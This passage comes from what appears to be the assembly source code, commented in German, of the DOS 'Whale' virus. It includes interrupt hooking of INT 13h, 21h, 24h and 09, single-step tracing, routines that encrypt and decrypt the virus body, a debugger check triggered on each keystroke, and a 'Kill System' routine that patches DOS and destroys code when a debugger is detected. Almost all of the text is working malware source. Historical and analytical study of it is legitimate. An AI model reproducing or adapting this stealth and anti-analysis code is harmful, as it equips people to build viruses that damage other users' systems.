nach 0CBh !!! REPNZ SCASB ; Also RETF DEC DI PUSHF PUSH ES PUSH DI ; RETURNADRESSE ist "RETF" in IBMBIO.COM PUSHF POP AX OR AH,01h ; Set TF PUSH AX MCODE 88 POPF XOR AX,AX ; Reset Disk :-) JMP DWORD PTR DS:[Trace_Adres] ; Return ist J0488D ; JMP INT 13H DB 0E9h ;===================================================================== ;==========================================( Rckkehr aus INT 13h )=== ;===================================================================== J0488D: MDECODE 89 PUSH CS POP DS PUSH DS MOV AL,13h LDS DX,DWORD PTR CS:[Trace_Adres] CALL SetInt_AL ; RE-SET INT 13 POP DS MOV AL,24h CALL GetInt_AL ; GET INT 24 MOV WORD PTR DS:[D243D],BX MOV DX,OFFSET J0444D-Offset VirStart MOV AL,24h MOV WORD PTR DS:[D243D+2],ES CALL SetInt_AL ; SET INT 24 CALL GetRegsFromVirstack PUSH DS PUSH AX MOV AX,0000h MOV DS,AX POP AX MOV WORD Ptr DS:[0006h],0070h ; Segment INT 01 ; auf 70h setzen POP DS MCODE 89 RETN DB 0F6h ;===================================================================== ;===========================================( Reset INT 13+INT 24 )=== ;===================================================================== J048CD: MDECODE 90 CALL SaveRegisters LDS DX,CS:[@Int_13h] ; Alte Adresse INT 13 MOV AL,13h CALL SetInt_AL ; SET INT 13 LDS DX,DWORD PTR CS:[D243D]; Alte Adresse INT 24 MOV AL,24h CALL SetInt_AL ; SET INT 24 CALL GetRegsFromVirstack MCODE 90 RET ;=========================================================( trash )=== PUSH CS POP AX ;===================================================================== ;=================================================( TRACE INT 21H )=== ;===================================================================== J048F3: MDECODE 91 ;----------------------( die Zahl 0401 bedeutet : )--- ;----------------------( 4 Ebenen, 1. bergehen )--- MOV WORD PTR CS:[D2450],0401h CALL SetInt_01 CALL PopALL PUSH AX MOV AX,CS:[D24B3] OR AX,0100h ; Set TF PUSH AX MCODE 91 ;--------------------------------------------- POPF POP AX POP BP JMP CS:[Low_INT_21H] ; JMP INT 21h ;--------------------------------------------- ;===================================================================== J0491A: DB 00h ; alias "210A" ! ; Klein, aber fein :-) ;===================================================================== ;==========================( DIE DECODE-ROUTINE )=== ;==========================( Dekodiert jedes Wal-H„hrchen separat )=== ;===================================================================== J0491B: PUSHF POP CS:[D258E] MOV CS:[D2560],AX MOV CS:[D2562],BX MOV CS:[D2564],CX J0492F: DB 26h,3bh,0,72h,2,0c3h,2,53h,89h,0c1h DB 032h,0edh,026h,03ah,8,073h,047h,0f8h COMMENT # ERGIBT ; ;------------------------------------------- POP BX ; POP RETURNADRESSE MOV AX,CS:[BX] ; GET WORD ADD BX,+02h ; INC Returnadresse,2 PUSH BX ; auf den Stack damit ;-----------------------; AL ist Z„hler MOV CX,AX ; AH ist XOR-byte XOR CH,CH J00120: XOR CS:[BX],AH INC BX LOOP J00120 ;------------------------------------------- # J04941: MOV AX,CS:[D2560] MOV BX,CS:[D2562] MOV CX,CS:[D2564] PUSH CS:[D258E] POPF RETN ;===================================================================== ;=====================================( kodiert das separate Teil )=== ;===================================================================== VersteckeCodeWieder: MOV BP,AX J04958: IN AL,40h ; Hole Zufallszahl <> 0 OR AL,AL JZ J04958 POP BX ; Hole Adresse des Aufrufers PUSH BX MOV CX,Offset J02ACC-Offset J02AA8 SUB BX,CX ; 24h Byte zurckgehen J04965: XOR CS:[BX],AL INC BX LOOP J04965 CALL J0496E J0496E: POP BX ADD BX,Offset SpielByte-Offset J0496E ; Adresse "Spielbyte" holen MOV CS:[BX],AL ; und den Dekodierer impfen MOV AX,BP RETN ;===================================================================== ;=======================================( dekodiert den Relokator )=== ;===================================================================== DecodeFollowingCode: MOV BP,AX ; AX sichern POP BX PUSH BX MOV CX,Offset J02ACC-Offset J02AA8 J0497F: XOR BYTE PTR CS:[BX],0 ; <== "Spielbyte" Spielbyte EQU $-1 INC BX J04984: LOOP J0497F MOV AX,BP J04987 EQU $-1 ; CALL NIRWANA ! siehe unten ! RETN ; AX zurueck ;===================================================================== ;========================================( Kodiert jede 'schuppe' )=== ;===================================================================== CodeIT: PUSHF POP CS:[D258E] MOV CS:[D2560],AX MOV CS:[D2562],BX MOV CS:[D2564],CX ;-------------------------------------( aus )----------------- J0499D: DB 26h,3Bh,8Ah,0Fh,32h,72h,0E3H ;-------------------------------------( wird )---------------- ;J0499D: POP BX ; POP returnadresse ; MOV CL,Byte Ptr CS:[BX] ; Get Byte in CL ; XOR CH,CH ; INC BX ; Return eins weiter ;------------------------------------------------------------- PUSH BX MOV AX,0001h ADD AX,CX ; AX ist Byte + 1 SUB BX,AX ; BX ist Returnadresse-AX ;-------------------------------------( aus )----------------- DB 043h,040h,00ah,0c0h,074h,0fah ;-------------------------------------( wird )---------------- ;J049AC: IN AL,40h ; OR AL,AL ; JZ J049AC ; hole Zufallszahl <> 0 ;------------------------------------------------------------- MOV CX,CS:[BX] XOR CH,CH INC BX ;-------------------------------------( aus )----------------- DB 003h,00fh,02eh,03bh,007h,072h,0c7h,0f8h ;-------------------------------------( wird )---------------- ; MOV CS:[BX],AL ;J001A0: INC BX ; XOR CS:[BX],AL ; LOOP J001A0 ;------------------------------------------------------------- J049C0: CLI MOV AX,CS:[D2560] MOV BX,CS:[D2562] MOV CX,CS:[D2564] PUSH CS:[D258E] POPF RETN ;===================================================================== ;====================================================( Der Tracer )=== ;===================================================================== Int_01_Entry: PUSH BP MOV BP,SP PUSH AX CMP WORD Ptr [BP+04h],0C000h ; Callers Segment JNB J049ED ; h”her als C000h MOV AX,CS:[D2447] ; oder tiefer CMP [BP+04h],AX ; als D2447 JBE J049ED J049EA: POP AX POP BP IRET ;===================================================================== J049ED: CMP BYTE PTR CS:[D2450],01h ; Erster JZ J04A1B MOV AX,[BP+04h] ; Callers CS MOV WORD PTR CS:[Trace_Adres+2],AX MOV AX,[BP+02h] ; Callers IP MOV WORD PTR CS:[Trace_Adres ],AX JB StopTrace ; [D2450] < 1 ? POP AX POP BP MOV SP,CS:[D24DF] MOV SS,CS:[D24DD] JMP J0488D ; -> RET hier irgendwo ;==========================================( Trace-Mode abschalten)=== StopTrace: AND WORD Ptr [BP+06h],0FEFFh JMP J049EA ;===================================================================== J04A1B: DEC BYTE PTR CS:[D2450+1] ; Dec (Versuche) JNZ J049EA ; <> 0 -> weiter AND WORD Ptr [BP+06h],0FEFFh ; sonst tracen CALL SaveRegisters ; stoppen und : ;===================================================================== ;=======================( AUS : )===================================== ;===================================================================== J04A2A: DB 0fch,01eh,0e2h,0e4h,040h ;===================================================================== ;========================( WIRD, ber PATCH )========================= ;===================================================================== ;CALL J02CDA ;IN AL,40h ;===================================================================== ;===============================================( XOR-Byte „ndern )=== ;===================================================================== MOV CS:[XorByte__1],AL ; D_4A5E MOV CS:[XorByte__2],AL ; D_4A79 ;===================================================================== ;=====================================( INT 01 auf INT 03 stellen )=== ;===================================================================== J04A39: MOV AL,03h CALL GetInt_AL ; GET INT 3 PUSH ES POP DS MOV DX,BX ; DS:DX auf INT 3 stellen MOV AL,01h ;================================================================= ;======( AUS : )================================================== ;================================================================= J04A42: DB 0e8h,027h J04A44: DB 01h ; CALL J04B6C DB 0EAh,072h,0e1h ; JB J04A29 ;================================================================= ;===================( Wird ber PATCH )=========================== ;================================================================= CALL SetInt_AL ; INT 01 auf INT 03 setzen CALL POPALL ;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ CALL Patch_IBMDOS CALL GetRegsFromVirstack CALL Re_SET_Int_02 POP AX POP BP ; Stack putzen PUSH BX PUSH CX MOV BX,PART_____1 MOV CX,LEN_PART_1 J04A5B: XOR BYTE PTR CS:[BX],8Eh D_4A5E EQU $-1 INC BX LOOP J04A5B POP CX POP BX IRET ; ENDE von INT 01 / Tracer DB 0E9h ;===================================================================== ;================================================( INT 21-Handler )=== ;===================================================================== J04A66: OR BYTE PTR CS:[PART_____1],00h ; = D4BAC ; ist Wal schon DEkodiert ? JZ J04A7F PUSH BX ; Nein. J04A6F: PUSH CX MOV BX,PART_____1 MOV CX,LEN_PART_1 J04A76: XOR BYTE PTR CS:[BX],8EH D_4A79 EQU $-1 INC BX LOOP J04A76 POP CX POP BX J04A7F: JMP J0458D ;===================================================================== DB 34h ;===================================================================== ;=======================( INT 09-Handler )=== ;=======================( Bei jedem (!) Tastendruck wird geprft, )=== ;=======================( ob ein Debugger am Werk ist ! )=== ;===================================================================== J04A83: MDECODE 92 CALL Patch_INT_09 ; INT 9 restaurieren CALL Debugger_Check ; Das ist der Witz dabei !!! PUSHF CALL CS:[INT_09 ] ; CALL INT 09 CALL Patch_INT_09 ; Int 9 wieder patchen MCODE 92 IRET ;=======================================================()========= DB 0BCH ;===================================================================== ;=======================================( Save Original-Registers )=== ;===================================================================== SaveRegs: MOV CS:[D2575],SI MOV CS:[D2577],DI MOV CS:[D257B],DS MOV CS:[D257D],ES J04AB1: MOV CS:[D2579],AX MOV CS:[D257F],CX MOV CS:[D2581],BX MOV CS:[D2590],DX RETN ;----------------------------------------------------- DB 0E8h DB 01h ;===================================================================== ;=============================( PATCHT vorhandenen INT 09-Handler )=== ;===================================================================== KeyBoard DB 0 Patch_INT_09: MDECODE 93 CALL SaveRegs ;----------------------------------------------------------- MOV SI,Offset D2570 LES DI,CS:[INT_09 ] ; GET original INT 09 PUSH CS POP DS CLD ;---------------------------( Tauscht 5 Byte ab CS:D2570 -> ES:DI )-- MOV CX,0005h J04ADD: LODSB XCHG AL,ES:[DI] MOV [SI-01h],AL INC DI LOOP J04ADD ;----------------------------------------( anzeige )------------------- MOV AX,0B800H MOV ES,AX XOR DI,DI CMP byte ptr cs:[Offset Keyboard-Offset VirStart],1 MOV Byte ptr cs:[Offset Keyboard-Offset VirStart],0 MOV AX,432EH JZ ToOriginal MOV Byte ptr cs:[Offset Keyboard-Offset VirStart],1 MOV AX,4b57h ToOriginal: STOSW ;----------------------------------------------------------- CALL RestoreRegs MCODE 93 RETN ;===================================================================== ;====================================( GET INT 01 + INT 03 )=== ;====================================( Check, ob Debugger werkelt )=== ;===================================================================== Debugger_Check: MDECODE 94 MOV CS:[D2581],BX MOV CS:[D257D],ES XOR BX,BX MOV ES,BX MOV BX,ES:[0006h] ; GET Offset von INT 01 CMP BX,CS:[D2447] JNB J04B27 ; TRACER AM WERK MOV BX,ES:[000Eh] ; GET Offset von INT 03 CMP BX,CS:[D2447] JNB J04B27 ; DEBUGGER AM WERK MOV ES,CS:[D257D] MOV BX,CS:[D2581] JMP J04B76 ;===================================================================== ;=================================================( Kill System ! )=== ;===================================================================== J04B27: POP BX ; POP returnadresse CALL PushALL CALL Patch_IBMDOS ; DOS patchen CALL PopALL MOV BX,CS:[D2581] MOV ES,CS:[D257D] PUSHF CALL CS:[INT_09 ] ; CALL INT 09 CALL PushALL MOV AH,51h ; get current PSP CALL CS:[@INT21] MOV ES,BX J04B4D: MOV WORD PTR ES:[000Ch],0FFFFh; Terminate-Adresse MOV WORD PTR ES:[000Ah],0000h ; ist FFFF:0000 !?! CALL PopALL CALL SaveRegs ;---------------------------------( Wal zerst”ren )--- MOV CX,IfDebugWal ; 1185h ; 230Ah Byte MOV BX,StartDebug ; 004Fh ; ab 4Fh / 285Fh MOV AX,0802h ; mit 0802h verORen J04B6A: OR CS:[BX],AX ; bis 4B69 , logisch, oder .... ADD BX,+02h LOOP J04B6A ;---------------------------------------------------- CALL RestoreRegs IRET ;===================================================================== ;=========================================( Kein Debugger am Werk )=== ;===================================================================== J04B76: MCODE 94 RET D4B7C: DB 0E8h ;===================================================================== ;=========( Verwischt Spuren und springt in oberen Speicherbereich)=== ;===================================================================== Schwimme_Fort: OR BYTE PTR CS:[BX],15h ; CX = 236Ch INC BX ; BX = 0 LOOP Schwimme_Fort ; also von 2810 bis D4B7C ; alles l”schen RETF ; RETF nach ; Oberen-Speicher:01B1 ; Identisch mit CS:29C1 ;===================================================================== ;========================================( Get Original-Registers )=== ;===================================================================== RestoreRegs: MOV AX,CS:[D2579] MOV ES,CS:[D257D] MOV DS,CS:[D257B] MOV SI,CS:[D2575] MOV DI,CS:[D2577] MOV CX,CS:[D257F] MOV BX,CS:[D2581] MOV DX,CS:[D2590] L0L0L0: RETN ;---------------------------------------------------------------------- D4BAC DB 00h ; Signal-Byte zur Erkennung, ; ob Wal dekodiert ist oder nicht ;===================================================================== ;=============================================( Verschlsselt WAL )=== ;===================================================================== Code_Whale: PUSH CX PUSH BX MOV BX,FirstByte MOV CX,Code_len ; 2385h ; Wal-Size LASTCODE: ;^^^^^^^^^^^-- LETZTES VERSCHLUESSELTE BYTE ! ;--------------------------------------------------------------------- D4BB5: ;vvvvvvvvvvv-- HIERHER WERDEN DIE MUTANTEN KOPIERT ! PUSH DX MOV DH,[BX-01h] J04BB9: MOV DL,[BX ] ADD [BX],DH XCHG DL,DH INC BX LOOP J04BB9 POP DX POP BX POP CX PUSH SI MOV SI,2567h DEC SI CALL [SI] ; CALL INT 21h ;===================================================================== ;============================================( Normaler Einsprung )=== ;===================================================================== Decode_Whale: CALL J04BD1 J04BCF: XOR BX,SI ; DUMMY ! J04BD1: XOR SI,1876h ; SI = 1876, kann immer ; ge„ndert werden POP BX ; BX = 4BCF POP SI SUB BX,Code_start ; BX = 2830 MOV CX,Code_Len ; CX = 2385 wal-size PUSH CS POP DS J04BE0: MOV AL,[BX-01h] SUB [BX],AL INC BX LOOP J04BE0 ; BX = 4BB5 ADD BX,008Eh ; BX = 4C43 / 2433 XCHG SI,BX DEC BYTE Ptr DS:[SI] JNZ J04BF5 XCHG BX,SI RETN ; ;===================================================================== ;==============================================( Sprung zu ENTRY )=== ;===================================================================== J04BF5: PUSH ES ; SI ist 4C43 XOR AX,AX POP DS JMP ENTRY ;===================================================================== ;==========================================================( ENDE )=== ;===================================================================== DW 0CE8BH DW 05605H LASTBYTE: DB 34H J04C01: DW 00045h DW 05000h DW 0DCE3h DW 09000h DW 00000h DW 01F00H DW 02000H DB 10H ;============================================================================ code ENDS END start